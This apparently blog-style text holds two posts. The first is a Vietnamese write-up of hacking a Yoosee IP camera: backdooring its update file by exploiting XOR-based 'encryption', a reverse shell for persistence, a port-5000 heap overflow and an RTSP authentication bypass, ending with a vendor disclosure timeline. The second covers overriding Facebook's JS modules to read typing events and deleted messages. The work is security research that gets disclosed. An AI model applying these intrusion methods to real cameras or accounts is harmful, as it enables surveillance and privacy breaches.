• Tìm firmware của thiết bị, có thể download trên internet hoặc dump trực tiếp từ thiết bị ra (qua shell hoặc dump thẳng từ chip nhớ flash)

• Dịch ngược firmware này tìm lỗ hổng

Trau dồi kiến thức

Với một người có kinh nghiệm thì có lẽ UART protocol - Universal asynchronous receiver transmitter protocol - Dịch nôm na là giao thức truyền nhận bất đồng bộ - là cách đơn giản nhất để có thể truy cập vào shell của thiết bị. Ở thời điểm ấy mình cũng có nghĩ đến phương án này tuy nhiên với khả năng của một người mới bắt đầu thì mình không biết làm sao để có thể xác định được các chân TX, RX của UART interface. Mình bắt đầu học bằng cách xem video sau:

Có 2 điều cơ bản và quan trọng nhất mình học được từ video này:

1. UART interface có 4 chân cơ bản, đó là RX, TX, VCC và GND, trong đó có 3 chân thường thấy là RX, TX và GND có công dụng như sau:

• TX: Transmitter - Chân truyền dữ liệu

• RX: Receiver - Chân nhận dữ liệu

• GND: Ground reference - Tham chiếu "đất", dùng làm điểm để tham chiếu cho giá trị 0V và khử các tín hiệu nhiễu

2. Có thể phân biệt các chân UART bằng đồng hồ vạn năng

Tiếp cận 1: Giao thức UART

Sau khi biết được rằng có thể đo các chân UART bằng đồng hồ đo điện, mình có tiến hành đo thử, tuy nhiên kết quả khiến mình vô cùng bối rối vì thấy có 1 chân 0V và 2 chân 3.3V. Chân 0V thì có thể đoán được là ground reference tuy nhiên 2 nhân 3.3V kia thì mình không phân biệt được cái nào là TX và cái nào là RX.

Không tìm được thì đành đoán mò, mà không những phải đoán mò xem chân nào làm nhiệm vụ gì mà lại còn phải chọn đại 1 cái baud rate - hay nói nôm na là tần số gửi tín hiệu - ở đây mình chọn bừa một con số phổ biến là 115200. Sau một hồi cắm thử thì tình cờ mình nhận được ít logs của chiếc cam này. Khoảnh khắc ấy với mình thì phải nói là mừng như bắt được vàng.

Tuy nhiên việc đoán mò cũng có cái giá của nó, mặc dù đã có thể xem logs nhưng có vẻ rằng mình hoàn toàn không thể gửi một chút dữ liệu hay câu lệnh nào cho cái cam nay. Lúc này mình cũng hoàn toàn không biết liệu nó có shell không hay là read-only nữa.

Tiếp cận 2: Firmware

Bế tắc trong hướng đi đầu tiên, mình đành chuyển qua giải pháp thứ 2 đó là tìm firmware của thiết bị này để nghiên cứu.

Tìm kiếm firmware trên internet

Mình đã thử tìm kiếm trên Google cũng như forum của nsx tuy nhiên mình nhận thấy rằng họ chỉ chia sẻ firmware đã bị outdate nên không thể dùng để cập nhật cho thiết bị được.

Chưa kể rằng trong quá trình này mình phát hiện ra các bản firmware mới đã được mã hoá và chúng chứa một private RSA key để giải mã bản firmware tiếp theo, điều này khẳng định rằng gần như ta sẽ không thể downgrade một phiên bản cũ đè lên phiên bản hiện hành của thiết bị do key RSA không khớp.

Thử dump firmware bằng giao thức SPI

Do vậy mình quyết định dump firmware trực tiếp từ chip nhớ flash để sử dụng. Tuy nhiên để dump được từ chip flash thì mình cần biết cách phân biệt chip và giao thức mà nó sử dụng. Trước đó khi đọc cuốn sách "The Hardware Hacking Handbook", mình biết qua rằng chip flash thường sử dụng giao thức SPI. Vì đem dòng chữ trên chip search mãi không ra thông tin gì nên mình quyết định nối "bừa" theo cái sơ đồ chân sau:

Hình ảnh thực tế, mình dùng kit PCBite để nối chân và ESP32 để đọc dữ liệu, vì kit PCBite của mình chỉ có 4 chân nên hình như mình đã nối theo như tổ tiên mách bảo, hình như 4 chân mình chọn lúc ấy là: Clock (CLK), Chip select (CS), Master in slave out (MISO), Master out slave in (MOSI). Và tất nhiên đã không biết lại còn nối bừa thì kết quả của mình lúc này thu được nó là con số 0 :)).

Tìm hiểu, dump firmware bằng mạch có sẵn

Vì việc làm mò này không có tác dụng nên cuối cùng mình quyết định lên đặt câu hỏi trên diễn đàn Arduino Việt Nam - Một diễn đàn lớn về điện tử và lập trình nhúng trong đó cụ thể là Arduino.

Rất may mắn mình nhận được một số câu trả lời vô cùng chi tiết và hữu ích:

Vì vậy sau đó mình đã quyết định mua set mạch CH341A với giá 100k trên Shopee về để thử nghiệm :)).

Hình ảnh thực tế:

Correct/extract firmware

Vì flash chip nằm trên mạch và dữ liệu được đọc dưới dạng tín hiệu điện tử nên sẽ có nhiễu khiến cho một số byte dữ liệu bị sai khác dẫn tới extract firmware ra bị lỗi, vì vậy mình viết một đoạn code nho nhỏ để sửa lỗi như sau:

Ý tưởng của đoạn code khá đơn giản đó là lấy dữ liệu từ nhiều file dump sau đó tại mỗi vị trí (mỗi byte) sẽ chọn ra giá trị giống nhau giữa nhiều file nhất để làm kết quả.

Kết quả: Mình đã sử dụng thành công binwalk để nhận diện và extract file firmware:

Bước ngoặt: Đồng đội mới

Thật tình cờ vào thời điểm đó mình lại nhận được tin nhắn ngỏ ý muốn hợp tác của Trung (@xikhud). Mình xem profile thì biết rằng Trung mới hoàn thành xong Flareon - Một cuộc thi về dịch ngược hàng năm do FireEye, một công ty an ninh mạng lớn, tổ chức.

Ở thời điểm mà mình bắt đầu có firmware để nghiên cứu mà lại có 1 reverser join vào thì là một cơ hội tốt :3 chưa kể mình cũng còn bị thiếu kinh nghiệm dịch ngược nữa nên việc có được Trung trong team là một điều tuyệt vời.

Xác định lại mục tiêu

Như đã nói ở trên thì mục tiêu của mình lúc này đó là tìm cách để có được shell trên thiết bị, vì vậy giờ khi có 2 người thì mục tiêu chính của bọn mình cũng là:

• Trung dịch ngược firmware và tìm ra cách vào shell từ một interface nào đó trên thiết bị -> Thành công theo hướng này cũng gần như đồng nghĩa với việc bọn mình có thể hack được vào thiết bị từ bên ngoài.

• Mình tìm được cách vào shell bằng cách backdoor thiết bị từ cơ chế update -> Hướng đi này sẽ dùng làm bàn đạp để có persistent access và debug firmware ngay trên thiết bị. Tuy nhiên hướng đi này cần có tác động vật lý tới thiết bị vì vậy bọn mình vẫn sẽ cần Trung nghiên cứu thêm bug để có thể hack một cách thuyết phục hơn.

Ở đây mình sẽ trình bày hướng đi của mình.

Tìm hiểu cấu trúc firmware

Trong quá trình đọc logs từ UART mình thấy thiết bị có định kì gửi HTTP request để check for update và lấy được luôn URL để tải file update này.

URL update có dạng như trên hình

Tuy nhiên như mình nói ở trên đó là file update này được mã hoá và cần có key RSA tương ứng ở trong thiết bị để giải mã. Vì bọn mình đã extract được firmware nên có thể tìm thấy ngay file private key này trên thiết bị với cái tên 1912ak1.5.00.prv.

À, đọc đến đây có thể bạn sẽ thắc mắc rằng tại sao bọn mình không patch file firmware đã dump ra rồi flash ngược lại vào trong thiết bị? Tại vì như mình nói trước đó do flash chip vẫn đang nằm trên mạch nên nó bị nhiễu bởi các thành phần điện tử khác, khiến cho việc flash lại firmware bị sai sót và "tạch" luôn thiết bị. Mặt khác firmware mình dump ra dù đã được correct nhưng ít nhiều nó vẫn có thể có những byte bị sai dẫn đến hậu quả tương tự.

Vì lý do như vậy nên mình chọn hướng đi đó là giải mã file update -> đặt backdoor -> encrypt lại -> update thiết bị bằng file mới -> shell.

Ok, tiếp tục câu chuyện đó là giờ có file update đã mã hoá + private key -> Đã có thể giải mã file update rồi, tuy nhiên để giải mã được thì mình còn cần biết nó được mã hoá bằng cách nào nữa (tuy gọi là RSA nhưng vẫn có nhiều cách cài đặt mã hoá khác nhau).

Trong quá trình tìm kiếm, mình tìm thấy một file chịu trách nhiệm cho quá trình update này với cái tên là gwellupdater.sh.

Đoạn code đáng chú ý đầu tiên đó là đoạn giải mã file update bằng lệnh rsa_dec. Tên của file đã được mã hoá luôn là upg.bin.enc (do tên file này là đã được cố định ở biến $FILENAME). Tên file sau khi giải mã là upg.bin

Tiếp theo là cắt file firmware ra thành 3 phần bằng lệnh dd:

• bootupdater.sh

• payload.md5

• payload.bin

Trung là người nhìn thấy chi tiết này trước mình

So sánh md5 hash của file payload.bin với nội dung hash trong file payload.md5. Mục đích của việc này là check sự toàn vẹn của file update.

Chạy file bootupdater.sh với payload.bin là tham số bằng lệnh sh. Xoá các file tạm được tạo ra trong quá trình update để giải phóng dung lượng. Kiểm tra và reboot nếu file /tmp/do_not_reboot_after_update không tồn tại.

Tới đây mình rút ra được một số nhận xét như sau:

• Nếu có thể mã hoá lại được file update upg.bin.enc sau khi chỉnh sửa thì mình có thể cập nhật lên thiết bị này một bản update bất kì.

• Trong quá trình update thì thiết bị chạy file bootupdater.sh, mà file này lại được cắt ra từ chính file update đã được giải mã (upg.bin).

-> Nếu có thể mã hoá được file update thì mình có thể trực tiếp chèn 1 đoạn script backdoor thiết bị (không cần chờ quá trình update thành công).

Nghiên cứu thuật toán mã hoá & giải mã update file

Việc đầu tiên mà mình làm đó cứ phải là giải mã file update đã. Mình lấy file rsa_dec từ firmware trước đó lấy được từ thiết bị, đồng thời cũng phát hiện ra file này sử dụng mã nguồn tại repo sau.

Mã nguồn mã hoá RSA mà mình tìm thấy

Sau đó mình đọc nội dung file bootupdater.sh.

Trong đó mình chú ý tới các đoạn code sau:

Sử dụng dd để cắt file firmware (upg.bin) thành 2 phần, app.bin và uImage:

Dùng dd để write file app.bin vào /dev/mtdblock6:

Update kernel, dùng dd để write file uImage vào /dev/mtdblock1

Như vậy có thể thấy bootupdater.sh có thể tương tác với filesystem, thậm chí có thể flash lại cả kernel và firmware.

Mình tiếp tục extract file app.bin để xem nội dung. Có vẻ như đây là phần core của firmware, chứa các file binary và scripts cần thiết để thực hiện mọi tác vụ.

Khai thác lỗ hổng trong cơ chế mã hoá để backdoor update file

Phần mà mình quan tâm nhất lúc này đó là làm sao để pack lại file update, vì vậy nên mình để Trung tiếp tục nghiên cứu trên firmware, còn mình thì tập trung vào tìm hiểu cách hoạt động của mã nguồn RSA.

Compile và chạy thử file rsa_dec, thấy có các options sau:

So sánh với câu lệnh giải mã lúc nãy thấy trong bash script, ta thấy các options -o, -v và -f được sử dụng.

Như vậy câu lệnh cuối cùng được thực thi đó là

rsa_dec -o -v -f upg.bin.enc

Ý nghĩa của câu lệnh này là giải mã và giữ file gốc (-o), in ra các thông tin trong quá trình giải mã (-v), với tên file đầu vào là upg.bin.enc (-f).

Vì đã biết tính năng nào sẽ được sử dụng nên mình đọc source code và thấy phần xử lý quan trọng nhất nằm trong hàm sau:

Từ đây mình tóm tắt lại được quy trình giải mã như sau:

rsa_decrypt:

• rsa_decrypt_prolog:

  • Mở các file chuẩn bị cho quá trình đọc/ghi

  • Tìm các private key và thêm vào "key ring"

  • Kiểm tra xem private key nào khớp với ciphertext

• rsa_decrypt_quick/rsa_decrypt_full:

  • Thực hiện giải mã

• rsa_decrypt_epilog:

  • Đóng các file key, plaintext, ciphertext

  • Xoá file gốc nếu cần

Sau đó khi debug thử quá trình giải mã với file update ban đầu thì mình phát hiện ra nó sử dụng hàm rsa_decrypt_quick, và mình khá bất ngờ khi đọc source code của hàm này:

Về cơ bản thì hàm này chỉ đem từng block 64 bit xor với 64 bit RSA_RANDOM(), ở đây chính là hàm random().

Đến đây thì mình đoán được rằng quy trình giải mã này sẽ tạo ra một dãy số random từ 1 seed nào đó nằm trong private key. Thật vậy, khi đọc lại hàm rsa_decrypt_prolog, mình thấy có 1 call chain như sau:

• rsa_dec.c/number_random_seed:

  • rsa_dec.c/rsa_decrypte_header_common:

    • rsa.c/rsa_decode(&seed, &seed, &key->exp, &key->n);

    • rsa_num.c/number_seed_set_fixed(&seed);

      • rsa_num.c/number_seed_set

        • srandom(number_random_seed);

Điều này có nghĩa là trong quá trình chuẩn bị private key để decrypt thì đồng thời hàm prolog này cũng decrypt và set luôn random seed bằng srandom.

Và...ủa, nghĩa là để pack lại file update kia thì mình chỉ cần extract được seed và xor lại phần data mình sửa lại với dãy số random được tạo ra bởi cái seed kia thôi?

Khỏi phải nói, việc này QUÁ DỄ!

Sau khi hiểu ra vấn đề thì mình có build/code ra một số file sau:

• rsa_dec (modified): Dùng để extract seed từ file update và private key.

• randgen: Dùng để gen ra dãy số random từ seed.

• fileparser.py: Gọi là fileparser vì tưởng ban đầu của mình là parse file update này ra để xử lý tuy nhiên mình đã code luôn nó để pack code backdoor vào file update có sẵn :)).

Đây là source code của file fileparser.py mà mình viết:

Pwned

Việc còn lại của mình lúc này đó là ném file update mới này vào thẻ nhớ sau đó cắm vào thiết bị, bật lên đồng thời giữ nút reset trong 2-3s.

Kết quả:

Oops...

Vài hôm sau khi backdoor được thiết bị thì mình có thử ngồi cắm lại chân UART thì phát hiện ra các chân này có đủ read/write, sau khi cắm xong thì mình có vào được shell với credentials là root/<no password> =)).

Một bài học cho việc test không cẩn thận phải trả giá bằng việc mất thời gian và đi con đường vòng. Tuy nhiên mình vẫn rất vui do trước đó không tìm được cách nào khác nên đã phải thử thách và học được nhiều điều khi chọn con đường vòng này.

Persistent access

Sau khi pwn được thiết bị, mình bắt đầu patch lại file app.bin trước đó để đặt reverse shell vào /etc/init.d/rc.local, vì script này sẽ được chạy trong quá trình boot nên mỗi khi thiết bị khởi động là bọn mình đều có reverse shell.

Mình và Trung bắt đầu đẩy một số static binary lên thiết bị như gdbserver, busybox để có thể debug trực tiếp các binary có sẵn của thiết bị.

Có shell thì làm gì? (từ góc nhìn của Trung)

Việc đầu tiên khi có shell mình làm là xác định các nơi mà con camera này nhận input từ người dùng. Để làm việc này, mình đã copy netstat từ ngoài vào để chạy và xem camera này đang listen trên những port nào.

Có nhiều port đang được lắng nghe, trong đó port 5000 nằm ở đầu tiên, vì vậy mình quyết định đi tìm đoạn code thực hiện việc xử lý dữ liệu tới port 5000. netstat còn báo rằng program đang sử dụng port 5000 là “ipc”, nên mình chỉ việc tìm file này, decompile nó và bắt đầu tìm đoạn code đó.

Khi decompile file “ipc”, mình khá sốc vì hàm main của nó rất lớn, decompile mất rất nhiều thời gian. Mình có cảm giác như anh lập trình viên đã viết tất cả mọi thứ vào trong hàm main vậy. Với đoạn code lớn như vậy, việc tìm đoạn code xử lý port 5000 gần như là mò kim đáy bể. Vì mình đã từng lập trình socket bằng C, nên mình biết để listen trên port nào đó, thì trong C phải dùng hàm “bind”.

Mình dùng chức năng cross-reference của IDA thì thấy chỉ có 28 lời gọi tới hàm bind, giờ mình chỉ việc check từng chỗ là được.

Cuối cùng mình đã tìm được hàm ở 0x43D2C. Ở trên có đoạn “addr.sin_port = 0x8813”, 0x8813 chính là dạng big endian của số 0x1388, mà 0x1388 chính là 5000. Vậy đây chính xác là đoạn code lắng nghe trên port 5000. Sau đó mình chỉ việc follow hàm này để xem nó xử lý gì với dữ liệu nhận được trên port 5000.

Lỗ hổng đầu tiên: Heap overflow (từ góc nhìn của Trung)

Không lâu sau khi bọn mình có thể bắt đầu debug trên thiết bị, Trung tìm ra lỗ hổng đầu tiên. Một lỗi heap overflow gây crash khiến cho thiết bị tự khởi động lại và không ghi lại được bất cứ hình ảnh nào trong khoảng thời gian này.

Dưới đây là phần trình bày lỗ hổng từ góc nhìn của Trung:

Lỗ hổng nằm trong hàm ở 0x4706C

Ở hình trên, biến buf được cấp phát 0x2000 byte. Với lượng lớn dữ liệu như này, thông thường khi code socket C, người ta thường hay dùng một vòng lặp while (true), mỗi vòng lặp sẽ nhận một lượng nhỏ dữ liệu, tới khi nào đủ 0x2000 byte (hoặc khi không còn dữ liệu để nhận nữa) thì dừng. Tuy nhiên ở hình trên, thay vì kiểm tra “đủ 0x2000 byte thì dừng”, anh lập trình viên đã kiểm tra “khi nào không nhận được dữ liệu nữa thì dừng”. Từ đó dẫn đến việc user có thể gửi nhiều hơn 0x2000 byte, trong khi độ lớn của buffer chỉ là 0x2000 -> heap buffer overflow.
Code exploit:

Đoạn code trên gửi 0x3000 byte tới port 5000 của camera. Nó sẽ ghi đè lên dữ liệu quan trọng trên heap của camera và khả năng cao sẽ làm camera bị crash.

Ngay lập tức bọn mình setup và làm một chiếc video demo lỗ hổng này:

Lỗ hổng thứ hai: Unauthenticated RTSP stream access & control

Khi phân tích source code bằng IDA, mình thấy có hàm sub_ADB84 có một flow check loằng ngoằng và đồ sộ

Flow graph của sub_ADB84, có lẽ phải chụp thế này mới thấy được hết độ phức tạp của nó

Đọc qua các block trong hàm, mình thấy chúng chứa rất nhiều từ khoá liên quan tới giao thức RTSP

Các từ khoá RTSP, CSeq

OPTIONS, DESCRIBE, SETUP, TEARDOWN,...

Google search nhanh với từ khoá "RTSP methods", ta có thể thấy rõ đây là các command keywords rất đặc trưng của giao thức này:

Mình search cách xem stream RTSP camera Yoosee thì biết nó có dạng:

rtsp://admin:<password>@<ip>/onvif1

Có thể bỏ đường dẫn này vào VLC như sau:

Vì lúc này mình đã biết rằng dùng VLC có thể xem được video stream từ camera tuy nhiên lại chưa rõ về cấu trúc của 1 gói tin RTSP, nên mình viết một đoạn code để proxy giữa VLC và cam. Vì các gói tin RTSP ở dạng plaintext nên ở phía proxy mình có thể thoải mái log cũng như patch các gói tin qua lại giữa 2 bên.

Ý tưởng của mình là thay vì add đường dẫn RTSP như trên vào VLC thì mình sẽ sử dụng đường dẫn sau để gửi tới proxy:

rtsp://127.0.0.1:554?ip=<camera ip>

Sau đó ở phía proxy sẽ tạo 1 socket connection khác tới <camera ip> và chuyển tiếp packet body tới cam sau đó nhận response từ cam và phản hồi lại cho VLC. Phương pháp này khá giống với cách tấn công man in the middle, tuy nhiên ở đây phía proxy không intercept connection này mà nó được chọn để chuyển tiếp các gói tin luôn.

Đoạn code server của mình lúc này trông như sau (đã lược đi các hàm patch rườm rà):

Vì lúc này đã có thể log và patch các request/response khá tiện rồi nên mình hướng tới tìm lỗi logic trong hàm sub_ADB84 ở trên. Mình đặt ra một số câu hỏi như sau:

• Có những tác vụ cần auth (authentication/authorization), vậy chúng được coi là auth dựa trên những yếu tố gì?

• Có những tác vụ không cần auth, vậy điều kiện nào để xác định một tác vụ như vậy?

• Có cách nào "lừa" thiết bị rằng một tác vụ không cần auth trong khi nó có cần auth không?

Đây là flow check auth, nó sẽ trả về code 401 nếu như check fail

Đọc lại phần này trong code thì mình thấy khá liên quan. Trong khi đọc request log mình phát hiện ra rằng DESCRIBE là một tác vụ không cần auth và chắc hẳn đó cũng là một phần lý do nó được check riêng ở chỗ này:

Thật sự là viết đến đoạn này của chiếc blog thì mình đã ngồi nghĩ nát óc xem hồi đấy mình đã suy luận và khai thác lỗ hổng ở chỗ này ra sao. Mình chỉ nhớ rằng hồi đấy mình khai thác phần này cũng bằng tư duy logic từ các câu hỏi mình đặt ra ở trên, cộng với một số kinh nghiệm mình có được khi khai thác các lỗ hổng về authentication khi mình nghiên cứu web API.

Về cơ bản thì mình có một số nhận định như thế này:

• Khi user đã authenticated thì server sẽ phải trả về một thông tin gì đó để lưu giữ phiên đăng nhập của user. Với web API thì đó thường là cookie, còn ở đây là header "Session".

• Ngoài kiểm tra phiên đăng nhập ra thì server có thể check một số thông tin khác trong headers. Ví dụ như ở đoạn code trong ảnh trên có vẻ như thiết bị đang kiểm tra một số thông tin với các từ khoá "username", "realm", "nonce".

Khi kiểm thử các ứng dụng web mặc dù không có source code nhưng ta vẫn có thể biết được server check những header nào bằng cách thử loại bỏ từng header cho tới khi có lỗi xảy ra. Và đó cũng chính là cách mà mình đã thử.

Sau quá trình thử thêm, bớt headers, mình craft được đoạn code sau để patch request body và qua mặt được authentication flow trên thiết bị:

Ở đây mình đã check và thêm header "Accept" và "Authorization" vào tất cả các request, cũng như xoá đi header "Session".

Ngoài ra mình còn phát hiện thêm tác vụ "SET_PARAMETER" cho phép điều khiển hướng quay của thiết bị mà không cần chỉnh sửa bất cứ header nào.

Một phần đoạn mã nguồn điều khiển hướng thiết bị

Và cũng như đối với lỗ hổng đầu tiên, mình đã làm ngay một chiếc demo cho nó:

PoC/Source code

Mã nguồn của tất cả mọi nội dung mình trình bày ở trên nằm ở đây:

GitHub - t-rekttt/yoosee-exploit

Contribute to t-rekttt/yoosee-exploit development by creating an account on GitHub.

GitHubt-rekttt

Report timeline

• 10/3/2022: Gửi email thông báo cho vendor

• 14/3/2022: Vendor yêu cầu thêm thông tin

• 14/3/2022: Gửi demo video và timeline cho vendor

• 16/3/2022: Feedback từ vendor nói rằng các tính năng này là bình thường

• 16/3/2022: Giải thích thêm về lỗ hổng

• 17/3/2022: Feedback từ vendor (vendor vẫn không hiểu cách tiếp cận của bọn mình)

• 17/6/2022: Publish writeup

Credits & thanks to

• Nguyễn Quốc Trung (@xikhud): Teammate cùng đồng hành nghiên cứu. Đồng tác giả bài blog này.

• Anh Trần Phạm Thành (@radcet): Hỗ trợ và tư vấn trong suốt quá trình nghiên cứu. Previewer.

• Anh Nguyễn Hồng Phúc (@xnohat): Tư vấn, cung cấp một số công cụ dịch ngược/backdoor

• Anh Vũ Huy Hưng (@James): Hỗ trợ sách & các khoá học về hardware hacking

• Anh Mạnh Tuấn (@Juno Okyo): Previewer

Unsend Recall for Messenger — Recalling removed messages in Facebook Messenger

Unsend Recall for Messenger is a Chrome extension that allows you to see the contents of messages that were removed on Facebook Messenger.

MediumAlec Garcia

Tầm hơn 2 năm trước tình cờ mình đọc được bài blog này nói về quá trình nghiên cứu và tạo ra một extension giúp lưu và xem được các tin nhắn đã bị xoá trên Facebook bản web.

Bài blog này thú vị ở chỗ nó dùng một kiểu kĩ thuật khá lạ, thay vì bắt các event từ DOM hay window thì tác giả sử dụng module được define từ code Js của FB. Nói đơn giản thì kĩ thuật này sử dụng luôn cơ chế mà Facebook định nghĩa ra để xử lý các sự kiện về tin nhắn chứ không cần nghiên cứu thêm một cơ chế đặc biệt nào hết. Điều đó khiến cho giải pháp này vừa ngắn gọn lại vừa có khả năng tương thích tốt.

Ngoài bài blog nói trên ra thì còn 1 bài blog nữa thậm chí còn giải thích chi tiết về cơ chế define/require module của Facebook vốn dựa trên Async Module Definition - AMD:

A Facebook Sixth Sense · Alexandre Kirszenberg

I use Facebook every day — probably too much for my own good — and I’ve always been tempted to dive into their internals. That is, the…

Alexandre KirszenbergAlexandre Kirszenberg

Một đặc điểm chung của các sản phẩm được đề cập trong 2 bài blog này đó chính là chúng đều bị Facebook yêu cầu xoá bỏ không rõ lý do. Mình đoán việc hiểu cách sử dụng các module này cũng giống như có trong tay một con dao sắc đe doạ tới "quyền riêng tư" trên Facebook.Vì từng dành nhiều thời gian debug các web API cũng như code Js trên web của Facebook nên mình cực thích ý tưởng này và đã thử sử dụng nó để mod một số tính năng trên Facebook mà mình nghĩ là thú vị. Tuy nhiên rào cản lớn nhất đó là không phải lúc nào cũng có thể tìm được ngay một event module như thế này để sử dụng, một số module React component nếu inject được vào thì có thể chỉnh sửa ngay thông tin được hiển thị ra tuy nhiên lại rất khó để override được (immutable).

Giải pháp hoàn hảo nhất trong đầu mình lúc này là override ngay từ hàm define từ khi trang web được load lên, nhưng với hiểu biết và khả năng sử dụng Js của mình lúc ấy thì việc này là vô cùng khó. Mãi cho tới tận bây giờ sau nhiều lần, thử nhiều cách và thất bại sml, mình mới hoàn thiện được giải pháp ấy, theo mình giải pháp này có thể dùng để mod được bất kì module nào trên web Facebook tuỳ ý, giúp mình tạo ra các tính năng tiện lợi hơn theo nhu cầu (lọc ads, lọc comment, tự động thông tin,...).

Sản phẩm nho nhỏ đầu tiên mình làm ra để test giả thuyết này là đoạn userscript để gửi tin nhắn tàng hình, được giới thiệu ở bài viết này:

https://www.facebook.com/groups/j2team.community/posts/1607769529555161

Vì vậy mình viết bài blog này nhằm chia sẻ về quá trình nghiên cứu và phát triển giải pháp này, kì vọng duy nhất của mình đấy là nhỡ sau này có cần dùng lại thì mong là không quên hết vì nó khó sml :)).

Khởi đầu

Mình sẽ bắt đầu bằng việc giải thích các kiến thức học được từ 2 bài blog trên.

Facebook Sixth Sense

Ở bài blog này tác giả có 2 mục đích chính cần đạt được khi nghiên cứu mã nguồn của Facebook web:

• Bắt sự kiện "typing" tin nhắn (chính là khi Facebook hiển thị ba dấu chấm trong inbox của một người khi người đó đang soạn tin gửi cho bạn) và lưu lại

• Hiển thị các sự kiện typing đã được lưu

Một bức ảnh demo giao diện của extension "Facebook Sixth Sense"

Phần hiển thị của extension này khá dễ, chỉ là một popup lấy các thông tin từ localstorage được lưu lại từ trước và hiển thị ra, chỉ liên quan tới các API của chrome extension chứ không liên quan gì tới Facebook web, nên mình sẽ bỏ qua phần này.

Phần quan trọng nhất của vấn đề ở đây đó là làm sao bắt được sự kiện "typing" tin nhắn của một người dùng bất kì.

Nghiên cứu bắt đầu bằng việc tác giả nhận thấy có một response gửi về khi Facebook web polling (ở thời điểm bài blog này được viết năm 2016, Facebook vẫn còn dùng kĩ thuật polling để nhận các update mới từ server, hiện tại họ đã chuyển sang MQTT nên hầu hết các data bạn nhìn thấy khi capture request đã được encode, không có nhiều raw data để đọc như xưa và một số kĩ thuật sẽ khó để áp dụng hơn). Đây là một nhận định hay để khởi đầu, vì một khi đã tìm được response, chắc chắn sẽ có một đoạn code nào đấy chịu trách nhiệm cho việc request những thông tin này.

Phần tiếp theo có thể coi như phần giải thích cho code base của Facebook. Đây là những kiến thức đầu tiên mà mình học được khi mình bắt đầu nghiên cứu tới mảng này, nó giải thích cho việc tại sao ta có thể override một module bất kì trên trang Facebook web.

Facebook sử dụng framework React. Không ngạc nhiên lắm vì React chính là con đẻ của họ mà. Dòng này chỉ mang tính chất thông báo tránh cho bạn khỏi bỡ ngỡ khi thấy mình require React ra để demo ở dưới thôi.

Khi inspect một file code Js của Facebook (bạn nên search file nào có từ khoá "__d" vì những file này chứa definition của các module, tránh nghiên cứu những đoạn code không liên quan tốn thời gian), chúng ta sẽ có một mớ bòng bong code đại loại như thế này.

Đoạn code đã được minify của Facebook

Hầu hết các trang web lớn đều minify code Javascript của họ để giảm dung lượng, giảm chi phí băng thông. Những file code này hoàn toàn không phải dành cho con người đọc, nên đừng hi vọng chúng ta sẽ có những dòng code ngay ngắn đẹp đẽ :v.

Sau khi beautify code bằng nút có biểu tượng {} như phần cuối bức ảnh, ta được một đoạn code như thế này:

Đoạn code sau khi chúng ta beautify

Bạn nhìn thấy hàm "__d" không? Đây chính là cú pháp để khai báo một module trên web Facebook. Một hàm khai báo module sẽ có dạng đại loại như thế này:

// a, b, c, d, e, f: Some factory variables for requiring & exporing modules, I don't clearly understand yet
__d("ModuleName", ["Dependency1", "Dependency2"], function(a, b, c, d, e, f) {
//Do something
});

Tác giả giải thích rằng đây là đoạn code của Async Module Definition - Gọi tắt là AMD (không phải AMD CPU đâu nhé :v). Đây là một giải pháp định nghĩa module theo cách bất đồng bộ. Hiểu đơn giản là khi ta mở web Facebook, nó sẽ nạp vào rất nhiều module chịu trách nhiệm cho từng công việc riêng, tuy nhiên các module này có thể phụ thuộc lẫn nhau. Theo cách tư duy thông thường ta sẽ xử lý module nào không bị phụ thuộc trước (giống như khi chạy tiếp sức, mỗi người phải phụ thuộc vào người chạy trước, tuy nhiên quan hệ trong này có thể nhiều hơn một-một). Nhưng vì Javascript hỗ trợ xử lý bất đồng bộ nên cách để xử lý ít tốn thời gian nhất đó là xử lý nhiều module không phụ thuộc cùng một lúc, đây là việc mà AMD được sinh ra để giải quyết. Mình không quá hiểu về phần AMD này nên chỉ cố giải thích được theo khả năng.

Trong tư duy của mình thì đơn giản là mã nguồn của Facebook web được chia ra làm nhiều module và ta có thể chỉnh sửa độc lập trong phạm vi module mà không sợ phá vỡ tính tương thích.

Chúng ta có thể sử dụng các module trên web Facebook bằng 2 hàm là "require" và "requireLazy". Ví dụ:

require('react');

Kết quả:

Tuy nhiên hàm "require" này không đảm bảo module đã được khai báo thành công ở thời điểm bạn sử dụng nó. "requireLazy" sẽ an toàn hơn trong trường hợp này:

// Callback style
requireLazy(['react'], function(react) {
console.log(react)
});
// Promise style
function requireAsync(modules) {
return new Promise(cb => requireLazy([modules], cb));
}
requireAsync('react').then(console.log)

Kết quả:

Để biết trên trang có những module gì, ta có thể search bằng từ khoá "__d(". Mình vẫn hay search __d("ModuleName để xem module được khai báo ở đâu :v

Demo kết quả search của mình. 11739 modules!?

Hãy nhớ, vì mục đích chính của chúng ta là bắt sự kiện "typing" tin nhắn, nên nơi đầu tiên chúng ta nên chọn để bắt đầu đó là các module liên quan tới chat.

Vì vậy ở đây tác giả dùng React Dev Tools để inspect vào component trên trang

Cụ thể hơn nữa đó là bong bóng "typing". Ở đây ta có thể thấy component với cái tên rất rõ ràng "ChatTypingIndicator"

Tiếp theo tác giả search dòng chữ __d('ChatTyping để tìm kiếm module liên quan. Ở đây ta được 2 kết quả, ChatTypingIndicator.react.js và ChatTypingIndicators.react.js, chính là thứ chúng ta tìm kiếm. Hãy chú ý rằng nếu trong tên module có phần mở rộng .react, nghĩa là module này export ra một React component.

Thực ra React Dev Tools ở hiện tại cho phép nhảy ngay đến phần code tương ứng với component, chúng ta không còn cần phải search code giống như bài viết nữa, tuy nhiên mình sẽ dịch lại nguyên bản theo cách của tác giả. Một số kĩ thuật debugging mình sẽ mô tả thêm ở phần của bài blog thứ 2.

Nếu bạn đã có kinh nghiệm với React, bạn có thể thấy trong đây tên các hàm rất quen thuộc. "componentDidMount" là một trong số đó. Hàm này sẽ được thực thi sau khi component này được nạp vào DOM.

Ta thấy hàm này chứa các đoạn code subscribe vào các sự kiện, nên ta sẽ phân tích hàm này trước.

Đây là đoạn code chúng ta đang quan tâm:

function() {
var k = c("MercuryThreadInformer").getForFBID(this.props.viewer),
l = c("MercuryTypingReceiver").getForFBID(this.props.viewer);
this._subscriptions = new (c("SubscriptionsHandler"))();
this._subscriptions.addSubscriptions(
l.addRetroactiveListener("state-changed", this.typingStateChanged),
k.subscribe("messages-received", this.messagesReceived)
);
};

Lời gọi hàm c('MercuryTypingReceiver') thực chất tương tự với require('MercuryTypingReceiver'), và đưa cho nó hàm this.typingStateChanged để gọi mỗi khi có thay đổi. Dù chúng ta không rõ bản chất nó hoạt động ra sao (chắc tác giả lười phân tích :v), tuy nhiên có vẻ đây chính là hàm chúng ta cần.

